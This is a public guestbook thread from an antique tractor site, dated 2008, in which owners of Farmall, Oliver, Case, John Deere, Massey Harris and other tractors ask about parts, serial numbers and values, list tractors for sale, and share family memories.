Wesley Storey wrote on Sunday, May 11, 2008 (PDT):I am currently using a 1962 cub to plant our garden and work it also. I have been working on the planters for about two summers. I am looking for where I can purchase the two pipes that run from the fertilizer distributor and seed hopper to the underside of the tractor. I have the new style rubber hoses, however, they just do not work well. If anyone knows where I can find them or knows of what type of pipe I can buy and make my own, please send me and email......love to read about all the people working on and using cubs. Does a heart good. Thanking you in advance Wesley
Barb Foose wrote on Sunday, May 11, 2008 (PDT):I have a BN I have had to do some work on it. I am looking for a good manual for it. Something that I can see what I am looking for when I am working on it. Also be nice to see what attachments there were for this tractor. My dad has a Super A so that is a lot different in what you can do with it. Thank you can e-mail me at patcheshdtrk at windstream.net
lee thomas wrote on Friday, May 09, 2008 (PDT):what kind of tractor are you selling
ROD RACKERS wrote on Thursday, May 08, 2008 (PDT):I have a complete tractor selling on consignment sale to the highest bidder on May 17 at Boonville MO. It needs complete restoration.
Welby Foster wrote on Tuesday, May 06, 2008 (PDT):I owned a 720 electric start diesel - sold it-and sorry I did. Fortunately I was able to buy it back. The serial number is exactly 200 fro the last 720 manufactured.
susan wrote on Tuesday, May 06, 2008 (PDT):i have a beautifully restored 1937 Case L that my grand father bought brand new. I live in New Zealand as did my grandparents and family. My father restored this old dear several years ago. I take it to Vintage tractor shows. I have no idea what she is worth so comments would be great. Cheers Suzi
Whitney Noel Jr. wrote on Friday, May 02, 2008 (PDT):My uncles farmed rice and owned three of these tractors. What pulling old gals they were. If you could hitch it, it could pull it. That wonderful GM made pure music when it was working. Spent many a summer seated on one of those machines. Loved every minute. Thanks for the memories.
Bryan Kemmer wrote on Friday, May 02, 2008 (PDT):i got a case sc i think. the numbers on it is sc 8039962 can anyone tell me anything about this tractor, like year or model if it s not an sc like i think it is...thanks
Matt Patterson wrote on Friday, May 02, 2008 (PDT):I have a 560d and a460gas the deisel is awonderful machine but I have a hard time starting it Ive put in new glow plugs and have overhauled any suggestion The 460 my grandfather bought brand new in 1962and now Im restoring it for a hay tractor.
NEIL STRAWHORN wrote on Friday, May 02, 2008 (PDT):I am looking for an oil filler cap for an IH 350 utility tractor. IH has retired the part and I have not had any luck at the salvage yards. Can anyone help me out
Delmar wrote on Thursday, May 01, 2008 (PDT):What is the problem when the carburetor frost up just above the unit in cold weather.
Gary Oglestone wrote on Thursday, May 01, 2008 (PDT):Reply to Vicki s note of May 2007.I would be interested in at least one of those if the blocks aren t cracked or corroded.
bruce Jaqua wrote on Wednesday, April 30, 2008 (PDT):I have a Farmall H, the only problem is that it is missing both the both serial # tags for it. is there any way that I can find out the year of it thanks so much, I really want to restore it, but until I know the year, it will be tough to get replacement parts. thanks again, bruce
Beverly wrote on Wednesday, April 30, 2008 (PDT):I trying to identify if I have a ford 1952 or 1954 ford 8n tractor.It belonged to my dad,who has past.Seems to have a 6 volt battery. There are two numbers on the right side of engine.F113,underneath that is 2NG6050. the body says 8N7008 that I found on the left side. Help I need to buy parts and unsure what year it is.Transmisson is marked F1488.It just wont turn over,the cranking is very slow.Is it common to have to buy batteries every year on these older tractors,coil was replaced one year ago.
Jim wrote on Monday, April 28, 2008 (PDT):I have a Lindeman Serial # 334614. It is in California and Runs good. The BO tracktor, sans the wheels, was sold to the Lindeman brothers in Washington St. by John Deere in 1945 and was fitted with the clasic Lindeman Brothers classic track system and sold in 1947... Just shortly before the company was purchased by John Deere. There were only about 1675 of these Lindeman track layers ever made, which makes them very sought after as collector items. In 1948 John Deere made its first ever track layer, a Lindeman design. I would be willing to sell her for 20,000. US. Let me know if anyone is interested. Thanks, Jim
Duane Dingmann wrote on Sunday, April 27, 2008 (PDT):I am interested in adding a Super 44 to my collection of smaller tractors. If anyone has one for sale please e-mail me or call me. 715-834-0242 Wisconsin
glenn tiner wrote on Friday, April 25, 2008 (PDT):I manage the Buda Engine Company in Shreveport, La. We specialize in old Buda and Allis Chalmers engines, which were used in a lot of old Cockshutt and Co-op tractors. The B153 is Buda, also the 262 and 273. There are many more.
Roger Pierce wrote on Thursday, April 24, 2008 (PDT):I am looking for an L or LA. Am worried about the cost of freight but if the price for the tractor is reasonable I will be able to afford the freight. I would even be willing make a trade with someone if need be. my number is 435-241-1335
Cory Staniford wrote on Thursday, April 24, 2008 (PDT):i have this tractor and i like it, it does good in the fields
Richard Nimmo Cristchurch New Zealand wrote on Tuesday, April 22, 2008 (PDT):Hi I have just got a Mccorick deering 15/30. How do I tell how old it is i havnt found any name plates or numbers on it. The tractor has been partly restored and already pulled down. Any help or imfomation would help, thanks Rich.
Kirk Flammang wrote on Sunday, April 20, 2008 (PDT):I am looking for the late model B that my Dad owned. It was traded into J L Implement in Sioux City, IA. in 1967. It was believed to be a late 1949 or early 1950 model. It has square axle housings, roll-a-matic, and the early-style hydraulic valve with the knurled nuts. Any help in locating the tractor would be appreciated. My phone number is 712-239-1643.
Kirk Flammang wrote on Sunday, April 20, 2008 (PDT):I have the 60 that Dad bought in 1967 at Climbing Hill, IA. It had a broken hour meter 8000+ hours when we got it and must have over 20,000 hours by now. Its on only it s second engine and starts and runs great! JOHN DEERE didn t put zippers in their engines, but I know some of the competition needed them!
Bob Berryman wrote on Sunday, April 20, 2008 (PDT):I bought a 1957 super55 gas 4yrs ago. It s a little rough to look at but boy does it run good. It has more power than my brothers 800 Ford,just wish it had power steering. If anyone knows where I can get an original unit or an after market unit please let me know. Call 208-365-4102 leave message and I will get back in touch with you.
Jerry L. Gingerich wrote on Friday, April 18, 2008 (PDT):I m looking for our old family tractor. A 1956 or 57 Oliver Super 77 Diesel with green wheels, three point hitch, belt pulley, and wide front end. It was originally purchased by my father Truman Gingerich of Parnell, Iowa, in the spring of 1957 from Happel s in Iowa City. It then went to Ron Bender in the Wellman/Kalona area, then to Elmer Miller. It was sold at the Mahlon Miller farm sale near Kalona, in 1981, to a Mr. Anderson. Any help in finding this tractor would be appreciated. 641-295-2929 or drging at zumatel.net
Jerry L. Gingerich wrote on Friday, April 18, 2008 (PDT):I m looking for our old family tractor. A 1956 or 57 Oliver Super 77 Diesel with green wheels, three point hitch, belt pulley, and wide front end. It was originally purchased by my father Truman Gingerich of Parnell, Iowa, in the spring of 1957 from Happel s in Iowa City. It then went to Ron Bender in the Wellman/Kalona area, then to Elmer Miller. It was sold at the Mahlon Miller farm sale near Kalona, in 1981, to a Mr. Anderson. Any help in finding this tractor would be appreciated. 641-295-2929 or drging at zumatel.net
Jim Broughton wrote on Wednesday, April 16, 2008 (PDT):To; Roy McIlrath Good place to start for a rebuild manual is Intertec, P.O.Box 12901 in Overland Park, Kansas,66282-2901. When I bought mine several years ago they were about 20.00, probably higher now..but easy to read and follow. Be sure and give them the year of your Cub...and good luck ! Jim B.
harley campbell wrote on Wednesday, April 16, 2008 (PDT):I have a 1948 case VAC-what a work horse-runs great, allways starts.I have 40 acres that was overgrown with 8 ft. tall brush and trees,have a 4ft.bushhog mower and this old tractor ate it up like a hay field.All fields now look like well a hay field--keep oil clean,radiator full,and get ready for a long days work-tractor was bought in Milan tenn.and never spent a day in barn till i got it.
David Parker wrote on Wednesday, April 16, 2008 (PDT):I have an old horsedrawn Judy Cockshutt plow . I would like to paint it. Does anyone know of a site where I can view a picture of this plow I d appreciate any info you might have on possible year it was manufactured. Thanks.
chris elli wrote on Tuesday, April 15, 2008 (PDT):these tractors are junk
Dooly Barlow wrote on Monday, April 14, 2008 (PDT):I recieve one these IH B tractors for a house warming as well. My sons and I are looking for exhaust manifold. What year was this model made
Gary Harp wrote on Monday, April 14, 2008 (PDT):Looking for a 1956-1958 Massey Harris 444 gas tractor with wide front end and 3-Pt Hitch in restorabel condition. My e-mail address is gharp at suddenlink.net
Brenda Jensen wrote on Monday, April 14, 2008 (PDT):My Dad is trying to find a Massy Harris 44 Diesel to buy. He would like one that has been restored or needs to be. Does anyone know where he can find one. He would also like a toy tractor of a 44 in the 1/16th size.
Betty Louise Rector wrote on Sunday, April 13, 2008 (PDT):My Dad had two Lauson tractors--a4 cyndler and a 6 cyndler. I have driven them when I was very young--probably 6 yrs old. I had to brace my foot on the fender to turn it. The 4 is still in the family, but in sad condition. Parts have been stolen off it, and kids have shot their 22 s at it. My brothers sold the 6, and it went to Ark. I remember daddy farming with them, and how very slow they ran. These tractors have always been very dear in my memories. I am 76 years old.
RCW wrote on Sunday, April 13, 2008 (PDT):The 880 was and still is one of the best tractors Oliver built!
Little older, little wiser wrote on Saturday, April 12, 2008 (PDT):Hey there Case folks. I ve seen several posts here from youngsters and would like to just say one thing. Don t sell Grandpa s Case! I nearly did twice, looking back, that would have been the most regretable move I ever made! I ve got 2 SC s now, working on 3. Best wishes, and maybe together we can educate the world that Flambeau Red is not Orange!!!!!!
Peter Grubb wrote on Friday, April 11, 2008 (PDT):This was the first type of tractor thta I learned to drive back some 40 years ago. Was fortunate to be able to purchase a 1951 W4 last spring, all original, all tin in great shape. With a new battery it starts on the second turn over when cold and on the first turn when warm. Used it to rake 50 acres of hay last year, bringing back lots of memories.
Ronnie Lee wrote on Friday, April 11, 2008 (PDT):My Mother recently passed away and I now have the opportunity to sell the tractors. She had a C and a Super C and also an F-12 or F-20. I m not sure until I locate the serial # because I understand that this is how I can tell. The C is in working order because I recently used it to haul wood that I cut for her wood stove. The Super C had the cap knocked off and probably took water in. There is also the bars and some equipment that fits them. I need a reliable buyer for these but am not out to rip anyone off. If interested I live in Sedalia Missouri and if you call, I can call you back because I have unlimited calling so we can discus these and where to find the serial numbers and then I can send digital photos. Thanks in advance,Ron Lee
Gary Harp wrote on Thursday, April 10, 2008 (PDT):Looking for a 1956-1957 444 Massey Harris gas tractor with wide front end and 3-Pt hitch in restorable condition.
Allan Greer wrote on Thursday, April 10, 2008 (PDT):I used to have t20 tractractor. worked reel good. hard to find parts for. steering clutch used to stick often.work good in bush pulling logs. Great fo moving snow, And was good in mud. Crankshaft broke, and sold it to international deeler ,to restor it. great machine .
Jeremy Johnson wrote on Monday, April 07, 2008 (PDT):I think that may be my old SC. if that picture was taken in brooks, Or. there was another one there just like mine so im not sure. it was a good old tractor.
Ed wrote on Monday, April 07, 2008 (PDT):our 770 diesel has been my dad s baby. I remember once in a while riding with him in the field he would tromp the brakes and pull it down. boy the black smoke rolled! he said it was good to blow the carbon out once in awhile. was a little cold blooded at times even with the preheater button. and the whine that s when I knew it wasa running good. can still hear it now in my mind. always sounded that way. great old tractor. dad said he drove the best and serviced the rest as he worked part time as a mechanic. massey and deere.
Bill Butler wrote on Monday, April 07, 2008 (PDT):I have a 1940 L SN 631055 that was parked in 1952 by a gentleman who used it on his 4 acre garden.He emptied the gas tank,greased all the bearings,changed the oil,put a coffee can over the exhaust and sometime that winter passed on.The little L stayed parked in the barn ever since,was never even turned over,I believe.The barn was about ready to fall in and the person that now owns the property asked a good friend of mine if he knew of anyone that would be interested in the little putt-putt.We got up there 2 years ago loaded it up and brought her home.Rebuilt the engine,put new tubes on the rear,new tires and tubes in front,sandblasted,primed and painted,after stripping everything off.Now she runs like a swiss watch.I even got the original umbrella that was in a canvas sack for the tractor
roger a ackerman wrote on Monday, April 07, 2008 (PDT):I have a 1971 Case 570, and I am looking for a Case 290 or 291 agriculture loader. I am also looking for a Case Canopy to fit this tractor. If anyone can help, please let me know.
Tom Grover wrote on Friday, April 04, 2008 (PDT):My 1960 s vintage International/Harvester Farmall tractor engine starts and runs well. After driving 100 yards or less, the engine quits abruptly! The tractor starts again with no problem and then upon driving, quits again, etc. The fuel filter is new , dry gas has been added and the gasoline is fresh. Could the coil and/or coil wire be the culprit or should I look elsewhere
Corey wrote on Friday, April 04, 2008 (PDT):Yeah, my grandfather just got done doing a full restoration on his 1975 766. He got it completely rebuilt from the ground up. He s showing it, and is right now one-for-one in local shows. Oh, yeah, it might have come stock with only 80 horsepower, but just a short time after buying it new, he put a blower on it. Right now she s cranking around 115. She ll pull circles around anything. But now it s only a show tractor. It s hard to beat those old tractors.
Michael Frederickson wrote on Thursday, April 03, 2008 (PDT):HI I had a MH 55 gas,MH 22 narrow frount for 12-15 years.Sold my land,guy said you can store tractors here. who bought the land-a good friends dad.I Go to pick up tractors both are gone-STOLEN!! and some other equiptment. From Boscobel WI. The 55 was my baby!Has custom 4 stack exaust,power steering,3-point hitch, a loader frame without the rams,arms,and bucket.no belt drive,and good tires.STRONG RUNNER!!fair paint,excelent body no dents.The 22 massey has, wide rear tires-good,clean body,fair paint,gas but smokes a little,more down hill.I have the grill at the shop.PLEASE HELP SOMEONE! if you can REWARD!THANX Mike Frederickson 608-239-0113 or 608 255-4114 Any leads would help! Madison WI
Michael Frederickson wrote on Thursday, April 03, 2008 (PDT):HI I had a MH 55 gas,MH 22 narrow for 12-15 years.Sold my land,guy said you can store here-good friends dad.Go to pick up tractors both are gone-STOLEN!! other equiptment From Boscobel WI. The 55 was my baby!Has custom 4 stack exaust,power steering,3-point hitch,and a loader frame-the loader,no belt drive,and good tires.STRONG RUNNER!!fair paint,excelent body no dents.The 22 wide rears good,clean body,fair paint,gas but smokes a little,more down hill.I have the grill at the shop.PLEASE HELP SOMEONE! if you can REWARD!THANX Mike Frederickson 608-239-0113 or 608 255-4114 Any leads would help! Madison WI
Jason LaHue wrote on Thursday, April 03, 2008 (PDT):I am looking for a conversion kit for a 42 2n for a 49 flat v-8. Any suggesyions please e-mail me!!!!!!!!!!
Jason LaHue wrote on Thursday, April 03, 2008 (PDT):I am looking for a conversion kit for a 42 2n for a 49 flat v-8. Any suggesyions please e-mail me!!!!!!!!!!
Tom Toohill wrote on Thursday, April 03, 2008 (PDT):I and my brother have been overhauling our recently purchased fence row G 1000 vista tractor. We found a man in Missouri that is the best around for getting any part you might need for an MM. He works and rebuilds parts on them as well. He also has a few tractors around for parting out. He is eager to help you with any problems and has answered any thing we asked with great knowledge ! Terrific guy Danny s Repair Service Marceline, Mo 660-222-3371
bjr wrote on Thursday, April 03, 2008 (PDT):I too bought a non running early 4000 diesel, 4 cyl. SOS, Low Center of Gravity and I beleive it s a industrial model as the paint was blue transmission differential and yellow tin work. It had bad torque limit clutch and fuel pump outa time. runs great now. Tire info rears are 12 .4 x 24. I got them set to narrow tread width and use the tractor for tilling smaller gardens the low gear is great for this. I especially like the hydralic clutch PTO, no grinding when putting it into gear. Would like to sell it as I need the cash. Write back here if anyone is interested. I m in Eastern WA. state, south of Spokane, WA. bjr
ROGER TURGEON wrote on Wednesday, April 02, 2008 (PDT):I HAVE COCSHUTT MODEL 60. THE SERIAL# IS 412916. THERE IS ANOTHER # 160120E. I ALSO HAVE THE ORIGINAL OWNERS MANUAL AND THE DATE ON THE MANUAL IS 7-17-47. IS THIS A 1948! I WOULD LIKE TO KNOW HOW MANY HORSEPOWER IT IS.I USE IT ALL THE TIME WORKS LIKE A CHARM.
michael procak wrote on Tuesday, April 01, 2008 (PDT):i own a 420c and recently broke a already welded track link .if someone could point me in right direction to get my hands on track parts i would really appreciate it
Robert Brown wrote on Monday, March 31, 2008 (PDT):I have never known an Oliver tractor to not whine while in motion. I grew up driving a 77 and thoutht all tractors whined like an Oliver. Even the later models whined. Maybe someone older than me or an Oliver expert can explain why they all do this. The best sound I remember is the whine got louder as the gear range got higher. This equates to the loudest it whined is when I was in road gear headed for the house.
m.a.dauer wrote on Monday, March 31, 2008 (PDT):have a john deere tractor model B S#b64973 very good shape,need to find out what s it worth
mac pace wrote on Sunday, March 30, 2008 (PDT):There s an old farmer with a 1951 SD-3 near my home. Its in fair shape and is running. He wants to sell it. If you are interested, i have some pictures. Send me an email at jpace1620 at charter.net. Located near St. Louis, MO.
Roy McILrath wrote on Sunday, March 30, 2008 (PDT):I bought 2 Farmall Cubs yesterday for the equivalent of 1500. Most of the parts are there and I should be able to restore one to concors condition. Can someone please tell me which are the must have books to start off my project.
Dean Conard wrote on Saturday, March 29, 2008 (PDT): I need Decales for the MH 81. Does anyone know where I can get them
Tom Nelson, 3/26/08 wrote on Thursday, March 27, 2008 (PDT):I have a John Deere 40-s. Where can I get information and/or help on repairing the brakes on this tractor
Dwaine wrote on Wednesday, March 26, 2008 (PDT):My dad owned one. It was a bad dog now I tell ya! You could hook 5 bottom plows behind it and it would still eat just about any deere you put around it. We did everything with that tractor. My dad ended up selling it to a tractor pulling team i believe.
Tyler Ruth wrote on Wednesday, March 26, 2008 (PDT):I am 16 years old and was looking to buy a farmall c tractor. I have limited knowledge about this tractor and tractors in general. In fair condition what is it worth Where and how do I get parts In full reconditioned status what is this tractor worth Any and all information given to me will be appriciated. I am doing this for a school project.
Jason Muchow wrote on Tuesday, March 25, 2008 (PDT):Just bought a 56 model 55 from my father-inlaw. I got a set of three bottom plows, discs,boom pole, and a road scraping blade all for 800. The tractor runs great with no smoke and has already been converted to 12V. All it needs is a good cleaning and some TLC. No rust and everything works great. I am looking for a steering box to replace the current wore out unit in mine. Any leads would be appreciated.
mike wrote on Tuesday, March 25, 2008 (PDT):i just finished restoring my great-granpas 1941 Oliver 60, it is a great little traactor with plenty of power, the only drawback is the fact that it has the old 4 speed with no road gear, when did they start putting road gears in the 60 s
Craig in Muskegon Michigan wrote on Tuesday, March 25, 2008 (PDT):We would like to find a 1945-1946 John Deere LA as a restoration project. Please call 231-798-8600 if you have any information on where we could find a machine.
Randy Spayd wrote on Tuesday, March 25, 2008 (PDT):I own a 400 caseomatic in running condition. Working on getting tires. If you re interested or have any information on where to find parts for this tractor I would really appreciate any help. Thanks Randy rnlspayd at power-net.net
elmer wrote on Tuesday, March 25, 2008 (PDT):I have a 1964 Allis- D-17 series 3,Can anyone tell me what is the purpose of the tractor booster I understand that it somehow distributes the weight to the other wheel. How Is that something like posi trac Help if possible Thanks
mike wrote on Sunday, March 23, 2008 (PDT):im looking for a late model G.looking for something to restore.if you know of any please send me some info back please.thanks!
Steve S wrote on Saturday, March 22, 2008 (PDT):i M LOOKING FOR OVERHAUL KIT FOR ROCK ISLAND WAUKASHA ENGINE. ANY INFORMATION WOULD BE GOOD THANKS
David wrote on Tuesday, March 18, 2008 (PDT):I know that tractor that is pictured. It belongs to my grandpa. It is shown at Antique Powerland Steam-up in Brooks Oregon. The event is held the last weekend of July and the first weekend of August every year. There is a great wealth of knowledge at that show from various people as well as an array of parts. Everything that they show is pre 1950.
MIKE MATHER wrote on Tuesday, March 18, 2008 (PDT):I am I own a Super 66 diesel NF. I enjoy it very much, I am a 3rd generation owner of this tractor it is not for sale!
james wrote on Monday, March 17, 2008 (PDT):hi all you kiwis.Im an Oliver fan from christchurch and im currently restoring my grandfathers 1945 hg with 68 track width.But my gearbox operates fine but my housing is cracked badly.This is the only thing stoping me from completing it.If anyone could help me out ie where to locate another housing or if you have one for sale i would be greatfull. email me on blanchaj at lincoln.ac.nz
Andy Wilkes wrote on Monday, March 17, 2008 (PDT):I have a B275, 44 years plus old and I am still using it weekly on my paddocks. Got to do some cosmetic work and get some mud guards but absolutely sound otherwise.
Larry Te Grotenhuis wrote on Monday, March 17, 2008 (PDT):I am in the process of restoring a 1939 F-14 that was equiped with small rectangular tank that was bolted into the hood just ahead of the fuel tank. I was told this tank was filled with gasoline and the tractor was started using gasoline and then after reaching running temperature was switched to tractor fuel. Where can I get a tank and fuel line set to hook this up again
jim brooks wrote on Sunday, March 16, 2008 (PDT):i recently bought an antique cast iron tractor seat. around the top rim it has. san francisco/baker+hamilton/sacramento,then in the middle it has champion.and ond the other side it has the number 731. can you tell me what its worth or how i can find out sincerly jim brooks
Keith wrote on Saturday, March 15, 2008 (PDT):I have had my 160 for a little over a year. Looking for a good parts and info source. I would also like to find a loader for it. Not sure what to look for. Its runs good with good rubber and I gave 2k for it.
jim wrote on Thursday, March 13, 2008 (PDT):I need to know the name or shade for the original orange color of a co-op E3 sold in the united states in 1946. I would appreciate any help you can give..
raymond huntone wrote on Thursday, March 13, 2008 (PDT):I own an Oliver 0-6hi-trac. Am intrested in parts or entire tractor . A regular OC-6 parts would be the same. My phone is #585-704-2317
Jim Winkler wrote on Wednesday, March 12, 2008 (PDT):Ref. Int. Cub S/N 133733. The name tag has 1800 stamped just beneath the serial number. I would like to restore this little tractor if I can get info on it. Can it be converted to 12 volt.
W. Dunning wrote on Wednesday, March 12, 2008 (PDT):The Massey Ferguson plant in Brantford, Ontario, Canada, closed in 78 or thereabouts. Many records were sent to the University of Guelph, in Guelph, Ontario, Canada. You can find most of the specs on the PONY and other Masseys there.
Rahn Z. wrote on Tuesday, March 11, 2008 (PDT):I Happen to own a 720 1957 John Deere and I must admit Ihave never seen another tractor that is like mine until I saw yours ! I mean the front is exactly like mine it has that barrel shape ! which is not common I don t think
Dave King wrote on Monday, March 10, 2008 (PDT): WANTED I am looking for a 1954 wd-45 Diesel s/n 181341-190993.
Sam Chaplin wrote on Monday, March 10, 2008 (PDT):I am looking for a piece of a equiptment for an MC Crawler it comes with a 1000 blade and I have it, I just need another Piece to use use besides the blade
clyde wrote on Sunday, March 09, 2008 (PDT):I have a 48 G Allis that has been restored. New tires, paint, oil pressure gauge, plugs and wires, air cleaner J-tube, mounted front cultivator, fan belt, points, battery, front and back lights, head gasket, rings .030 over, and all new fluids. If interested call me at 651-247-1525 in Minnesota.
Duane Headworth wrote on Friday, March 07, 2008 (PST):I have a 1972 IH 1066 that runs fine but looks rough. Also a smaller 50-60 HP IH i dont have the model name right now that has just 2nd gear and reverse I think it is either a 1972 or 1973. They are located near Macon GA reynolds, GA If interested, make offer on either one. I also have a 12-14ft harrow and a chisel plow. I am looking to get something newer about 50 hp or so. Duane
Andy Motteberg wrote on Thursday, March 06, 2008 (PST):I have a 1943 Farmall H, serial FBH133801. It is a great tractor. I m 15 and I restored it. It used to be my Grandpa s tractor. The H s are good old tractors!
Joe Klimek wrote on Wednesday, March 05, 2008 (PST):I am rebuilding my LA and need a set of rear rims, can anyone provide or advise me where to get them I would also like to convert my tractor an electrical start and need instruction, can anyone advise on how to proceed Thanks
J.B. Doil Harvey wrote on Wednesday, March 05, 2008 (PST):Just Purchased A BF Avery A Crawler With Hercules Eng. IBX3 Serial No. 10980 NO tractor Ser. No.OR Undercarri age No.need to know what year engine was mfg.
Jeff Hurley wrote on Wednesday, March 05, 2008 (PST):I have a cletrac oc6 and my throttle handle assembly is stuck. I have let it sit in diesel fuel for sometime and still won t budge. If anyone has any info please e-mail me back. Thanks Jeff Hurley
J.B.Doil Harvey wrote on Wednesday, March 05, 2008 (PST):I Just bought a B.F. Avery crawler Engine Hercules 1XB-3 Ser. No. 10980 Does not have a Tractor Ser. NUMBER Could some tell me the year by the engine number. I believe the B.F.Avery model A tractor motor was installed on a crawler kit.
Bill wrote on Wednesday, March 05, 2008 (PST):I have a 1939 allis chalmers grader tractor WC93600. Looking for a grader blade---any help would be greatly appreciated.
Kit Rosling wrote on Tuesday, March 04, 2008 (PST):I own a 55 and recently a 55K which we are parting outto use on our running 55. We are adding the PTO and trying to add a hydraulic line with a wingle pair of remotes on the rear but am losing pressure ar the pump. Do you know where we can find parts/replacement pump for this 55
Hazel Robertson wrote on Tuesday, March 04, 2008 (PST):My father now aged 78 remembers starting his carreer on a Massey Harris G.P. crop market, circa 1930, he has never seen one since that time,continues to look round argricultural/vintage rallies/shows. The one he used had 4 wheel drive operated through the use of right and left sided brakes.He had never opperated anything like it before and a 4 cylinder hercules engine and metal wheels, I am trying to find out any information on that model and any old photographs so if any one out there can help I would love to hear from you, Dad was in the scottish borders at the time. Herriot area I think. hopefully someone out there can help. regards Hazel
john D. Ondrej wrote on Tuesday, March 04, 2008 (PST):I grew up on a farm in Texas and learned to drive and plow cotton on my father s oliver 60 tractor at about 9 years of age. Over the years I covered many acres on this tractor from schreading cotton stalks to spraying cotton. In fact my uncle had an oliver 60 also and my cousin and I used to race the tractors from field to field when where custom spraying cotton for the public. This was a lot of fun until my father found out about the racing. My father sold this tractor in about 1995 and it still was in running condition.
R. Shrum wrote on Tuesday, March 04, 2008 (PST):I just brought home my first AC and I think I am going to like it, but have a problem. The Powerstearing does not work well, and I cannot find the SN in the place I was told it would be. Someone has added a IN 2002 loader on this tractor, it works fine. Oh, Ya, the 3point will not raise when you put a load on it. It stays up when raised and left for several days, but I don t know what to look at next to find where it is leaking or what. any advice from you old AC people would be great. Thanks RS
T.EVERY wrote on Saturday, March 01, 2008 (PST):Tony, I love the old cubs. contact me at tevery at bsheriff.net can you send any photos
William Smith wrote on Friday, February 29, 2008 (PST):My dad had a Jubilee with parts of 3 sets of half tracks. I pulled the wagon with a chain under the Farmall M and corn picker through the muddy fields to keep the picker straight in the rows. I have it now with many of the toys, including the half tracks, loader, cab, Navy bean puller, and buckets for the Dearborn loader.
lee thomas wrote on Thursday, February 28, 2008 (PST):Does anyone have a picture of a leader tractor with a ferterlizer distributor mounted on it
dennis barnette wrote on Thursday, February 28, 2008 (PST):RE Tires...H.E Miller has tires for the G, but they ain t cheap... 285.00 each for the rear plus 75.00 for the tubes I am looking for a set of cultivators please state price and location..thanks
dave langworthy wrote on Wednesday, February 27, 2008 (PST):to jeff brown i have a f 14 in bad shape it sat in the weeds for many years it has the complete mechenicl lift on it with the 1/2 drawbar on it i willsell itor trade it forany thing i can use the tractor is in oregon my sons phone # is 503-5564025 im in arz my phone #928 927 5032
Green Mister wrote on Wednesday, February 27, 2008 (PST):Finally got a 1951 G like my grandpa had back in Norhtern Ill...It s a GREAT tractor only took me 50 years to get it! Have a 2 car garage and I get the G in and my wifes Escort AND my Crown Vic...That s the only reason I got to keep the G!! Good looking tractor too!
David Paton wrote on Monday, February 25, 2008 (PST):I have an Oliver OCS or Cletrac Hg for sale Can t find serial No, can somebody tell me where to look for it Don t know what year Doesn t go, has been in our shed for 22 years awaiting restoration, but just don t have the time. Don t know whats wrong with it, wasn t going when I bought it Anybody interested in purchasing it We are in Queensland, Australia Phone 61 7 4698 4743
mike wrote on Sunday, February 24, 2008 (PST):I just aquired a 1944 Case SC and in the process of restoring it,I have recieved alot of help from Rusty Acre and now will be dealing with Tractor Shed. Good luck you guys
John Miller wrote on Saturday, February 23, 2008 (PST):My father, W.G.Miller, was a chief engineer at Massey-Harris then Massey-Ferguson and was in charge of the design and testing of the Pony. Every once in a while, back in the 50 s when I was a little boy , a truck would deliver a Pony to our house in Islington. I have memories of driving it with my Dad and of chasing rabbits with it in the field behind our house!!! As a Physics prof in Quebec, when my students said Yabbut when they were trying to figure out what I was saying, I would tell them about chasing yabbuts with a Pony tractor!!! Strange as it may seem, it s very touching to me to find this site!!!
dave langworthy wrote on Saturday, February 23, 2008 (PST):I was given a W4 tractor because they couldn t get the starter off. I had to go to Canada for it. When I got it home my son and I took the bolts out of the belt pully housing slid it back a 1/2 inch and the starter came right off. I put a new spring in the starter installed it and drove the tracter off the trailer.
jason marks wrote on Saturday, February 23, 2008 (PST):my dad has a 770 he bought 30 years ago at an auction. over the years we did everything short of restoring it. Henri i think your clutch problem could be because of a leaky rear main seal, because we found that when engine oil gets onto the clutch it becomes very sticky, especially when hot. and if anyone has trouble with rear end whine, it could be worn bearings, but it still would be safer to change the gear oil more often and also check your trans cover seals as well as the gear shift boot, because this allows water to get in and thus increase transmission wear. we use 80-90 gear lube in our tractors, but heavier or even synthetic oil will help as well.
larry heard wrote on Friday, February 22, 2008 (PST):i have a 1962 usaf mototug,built on a ford model 2120 4 cyl chassis. it is restored is there any resale value for this tractor, or if anyone remembers these tractors from the service,any info would be appreciated thanks Larry
Bill Doyle wrote on Thursday, February 21, 2008 (PST):I m restoring it. I need a lift assy. for a l949 Cub cultivator. Consist of a spring, a rod to attach the tee bar and lift the rear cultivator. Can anyone help
DUAN ANDERSON wrote on Wednesday, February 20, 2008 (PST):What would be the value of a SUPER 77 OLIVER that has been professionally restored and has 101 hrs on it since restoration
James Massey wrote on Tuesday, February 19, 2008 (PST):Wanted; Allis-Chalmers G model Tractor, running or not, metal straight or not, just no frame damage. 270-554-6900 or 270-556-5798. Thanks. James in West.KY
James Bullock wrote on Tuesday, February 19, 2008 (PST):I have a 1964 super Dexta. I ve owned it since 1980. My fatherpin-law had it before me. I will say that pound for pound it has been one tough tractor. They are great workers if you don t mind no power steering, tough cold wheather starts, and oil drips. I ve replace seals twice and still have small leaks. This tractor at 39 horsepower will do the work of some 50 horsepower tractors. I love mine. Now in process of restoring.
Floyd Thiessen wrote on Tuesday, February 19, 2008 (PST):My dad had a 22-36 in the 30s. When I was 9 and my brother was 12, dad would start the tractor in the morning before leaving for work. My brother would push the clutch with both feet while I engaged the transmission lever. At noon we would refuel it with the engine running, add a quart of oil and, head back to the field. In other words, it literally ran all day long because we were not large enough to crank it.
Mike Warrick wrote on Monday, February 18, 2008 (PST):I have a Case 400 super diesel, Needs pistons and rings, I can sell complete tractor or sell parts off it.. I asm in Central Texas.....
alberto noruega wrote on Monday, February 18, 2008 (PST):necesyto saber sy ahy respuestos para tractor oliver modelo 1650 ysaber el diametro del piston
Chad Brehmer wrote on Sunday, February 17, 2008 (PST): I really would like to find a wards row crop tractor. I had two of them when I was 15years old, they were the first tractors I ever restored, and dad sold them one week later. If anybody could help me find one to restore that would be great. thanks
Earl Taylor wrote on Sunday, February 17, 2008 (PST):I had the pleasure to work for a farmer who started out with a brand new 1952 Super C on his farm. I was just a kid when I started working for him. It had all the implements you could probably get for it, except one that I noticed on a personal web site by Ellsworth Chase and that was the fast hitch disk. We had the same stuff for ours that he has shown except the two-row cultivator set, front and rear. The rear of course was the fast hitch. We did not have an umbrella mount for ours, or the shutters on the grille. But boy looking at the Super C brings back memories. I was there when the farm was sold, the tractor was the last to go. I visited my old boss and when I drove up to his new home where he retired, in the front yard is a two row corn planter in the flower bed from the Super C he kept from the farm. Thanks for the trip down memory lane. E.T.
